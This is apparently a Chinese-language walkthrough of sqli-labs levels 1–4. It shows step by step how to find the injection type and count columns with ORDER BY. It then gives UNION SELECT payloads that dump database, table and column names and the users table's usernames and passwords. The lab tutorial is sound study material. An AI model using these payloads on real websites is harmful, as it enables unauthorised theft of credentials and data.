第一关
输入URL/?id = 1 正常
URL/?id = 1' 显示错误
颜色想同的箭头相互匹配,只有我们输入的单引号没配对
注意一下命令我都省略了URL/?id=
相关知识
--+是注释的意思,注释掉了--后面的所有东西,就是把+号和+号后面的东西都注释掉了,这里的+号可以换成任意的符号a,b,d,r什么的都行,换成#也行
闭合1'
然后这里大概意思就是后面有个限制0,1,我们把他注释掉
我们输入了1' and 1=1--+
就变成'1' and 1=1--+ LIMT 0,1'
1' and 1=1--+ 正常
1' and 1=2--+ 回显出现异常
然后开始order by 测试列数有几列
1' order by 1--+
1' order by 2--+
1' order by 3--+
1' order by 4--+ 异常,说明只有三列
然后我们开始联合查询
-1' union select 1,2,3--+ 回显再2,3,我们对2,3进行修改
先看看数据库的名字
爆库
-1' union select 1,database(),3--+
group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
就是把我们爆破到的表名用,间隔打印出来
爆表
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
那我们接着访问一下这个users
爆列
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
然后我们随便访问一个id试试
爆数据
-1' union select 1,username,password from users where id =2 --+
可能大家看的懵懵的嗷,我用那个命令行给大家看看
show databases; //查看有哪些数据库
use security; //进入这个数据库
show tabels; //查看这个数据库里面有哪些表
select * from users; //查看 这个表里的全部内容,*号代表全部内容
第二关
数字型,就不用单引号闭合的,直接是id=1即可
在联合查询那里,把id=-1'改成id=-1即可,其他同上
为什么是这样的呢,当我们输入URL/?id=1是回显正常
输入URL/?id=1'时,出现异常
前后两个匹配,还剩一个单引号应该是我们输入的,所以猜测是数字型,那我们怎么来判断到底是不是数字型呢
按照上面的步骤
?id=1 and 1=1--+ 回显正常
?id=1 and 1=2--+ 出现异常
所以这个就是数字型的啦
接下来就是按上面的步骤order by看有几列,
?id=1 order by 1--+
?id=1 order by 2--+
?id=1 order by 3--+
?id=1 order by 4--+ 异常
然后我们开始联合查询查看注入点
-1 union select 1,2,3--+ //发现注入点还是2,3接下来就是同第一题的步骤咯
-1 union select 1,database(),3--+发现数据库还是security
那接下来重复步骤即可
-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
-1 union select 1,username,password from users where id =2 --+
第三关
输入URL/?id=1 正常
输入URL/?id=1' 异常
假设我们把我们输入的1’隐藏掉
就变成了这样
'口口') LIMIT 0,1
感觉是这一部分,我们试试看
输入?id=1') and 1=1--+ 正常
输入?id=1') and 1=2--+ 异常
ok那我们就可以确定是这个啦
接下来就order by咯
?id=1') order by 1--+
?id=1') order by 2--+
?id=1') order by 3--+
?id=1') order by 4--+ 异常
就只有三列
然后联合查询
-1') union select 1,2,3--+ //查看注入点,发现还是2,3
-1') union select 1,database(),3--+
发现数据库还是security
那接下来重复步骤即可
-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
-1') union select 1,username,password from users where id =2 --+
第四关
这一关,我事了id=1,1’,1’)都不报错,试不出来了,就去看看源码了
从这个可以发现注入方式是URL/?id=1")
接下来就可以判断一下到底是不是这个注入方式啦
URL/?id=1") and 1=1 --+ 正常
URL/?id=1") and 1=2 --+ 异常
那应该就是这个注入方式了
判断完注入方式后,就应该order by查看有几列啦
URL/?id=1") order by 1 --+
URL/?id=1") order by 2 --+
URL/?id=1") order by 3 --+
URL/?id=1") order by 4 --+ 异常
URL/?id=-1") union select 1,2,3 --+ //联合注入查看注入点
发现注入点还是2,3
接下来就是跟第一题一样的步骤啦
-1") union select 1,database(),3--+
-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
-1") union select 1,username,password from users where id =2 --+
总结
判断注入方式
先URL/?id=1试试
先URL/?id=1'试试,看看是否会报错,如果会报错的话就查看报错信息有啥,根据报错信息看看怎样修改注入
修改注入后用 URL/?id=1' and 1=1 --+
URL/?id=1' and 1=2 --+
URL/?id=1' order by 1 --+ 这里的1'改成我们修改后的注入方式
然后联合查询查看注入点,在联合查询的时候要注意将注入点中的1改成-1,例如这里就是改成
URL/?id=-1' union select 1,2,3--+
union select 1,2,3--+(我这里默认三列的嗷,但是要看你实际order by 了几列出来)
爆库 databbase()
爆表,group(table_name), from information_schema.tables where table_schema='爆出来的数据库名字'
爆列,group(column_name), from information_schema.columns where table_name='爆出来的表名字'
爆数据 列名,列名,from 表名 where 列名 = --+
最后别忘了末尾都要加--+嗷